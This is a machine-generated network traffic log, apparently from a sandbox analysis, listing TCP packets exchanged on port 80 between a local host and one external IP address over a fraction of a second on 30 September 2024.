Sep 30, 2024 13:59:28.253074884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253086090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253101110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253110886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253120899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253130913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253142118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253156900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253160954 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253168106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253179073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253226995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253247976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253264904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253276110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253285885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253295898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253305912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253304958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253313065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253318071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253329039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253339052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253349066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253355980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253386021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253386021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253408909 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253416061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253426075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253436089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253446102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253456116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253463984 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253464937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253475904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253484964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253487110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253506899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253530025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253577948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253588915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253597975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253608942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253617048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253618956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253629923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253633976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253639936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253650904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253659964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253662109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253669977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253679991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253679991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253686905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253690958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.253714085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.253727913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255012989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255027056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255038023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255048037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255058050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255065918 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255068064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255079031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255089045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255096912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255099058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255109072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255110025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255119085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255130053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255130053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255141020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255151033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255162001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255172014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255172968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255182981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255192041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255201101 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255215883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255218029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255224943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255218029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255239010 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255240917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255250931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255255938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255260944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255270958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255271912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255283117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255286932 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255291939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255302906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255312920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255312920 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255322933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255333900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255343914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255343914 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255352020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255361080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255362034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255373955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255393028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255405903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255405903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255415916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255425930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255429029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255434036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255434990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255445004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255455017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255456924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255465031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255475998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255485058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255489111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255496025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255506039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255506992 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255516052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255521059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255525112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255534887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255544901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255551100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255553961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255563974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255570889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255574942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255584955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255589962 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255594969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255599976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255604982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255610943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255614996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255614996 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255625963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255630970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255635977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255640030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255649090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255659103 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255660057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255670071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255675077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255680084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255685091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255686998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255695105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255705118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255714893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255717039 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255724907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255734921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255737066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255744934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255753040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255755901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255765915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255775928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255778074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255785942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255795956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255806923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255808115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255817890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.255839109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.255858898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.265774012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.265789032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.265810966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.265821934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.265832901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.265836954 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.265844107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.265853882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.265861988 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.265865088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.265883923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.265897989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.265901089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.265908957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.265919924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.265933037 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.265952110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.265969992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.265980959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.265990973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266011953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266032934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266040087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266051054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266061068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266071081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266088963 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266107082 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266136885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266150951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266160965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266171932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266182899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266192913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266218901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266228914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266242981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266351938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266372919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266382933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266393900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266402960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266412973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266422987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266423941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266434908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266442060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266447067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266459942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266469955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266479015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266489029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266499996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266508102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266530991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266530991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266541004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266575098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266585112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266594887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266604900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266613960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266623974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266643047 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266655922 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266697884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266707897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266717911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266729116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266738892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266748905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266772985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266779900 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266782999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266793013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266803980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266814947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266823053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266835928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266855001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266859055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266866922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266879082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266886950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.266912937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.266930103 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267030001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267040968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267051935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267061949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267081022 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267110109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267126083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267136097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267146111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267155886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267165899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267174959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267179012 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267185926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267193079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267206907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267210007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267227888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267237902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267245054 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267254114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267271996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267282009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267283916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267292023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267312050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267323971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267332077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267335892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267352104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267364979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267402887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267456055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267467022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267507076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267651081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267662048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267672062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267694950 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267704964 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267769098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267781973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267792940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267802954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267812967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.267831087 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.267847061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.268146992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268188953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.268239021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268251896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268261909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268270969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268291950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268292904 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.268304110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268315077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268315077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.268326044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268343925 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.268368006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.268395901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268407106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268415928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268426895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268441916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.268445015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268456936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268460989 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.268467903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.268477917 CEST	80	49721	5.42.101.62	192.168.2.6
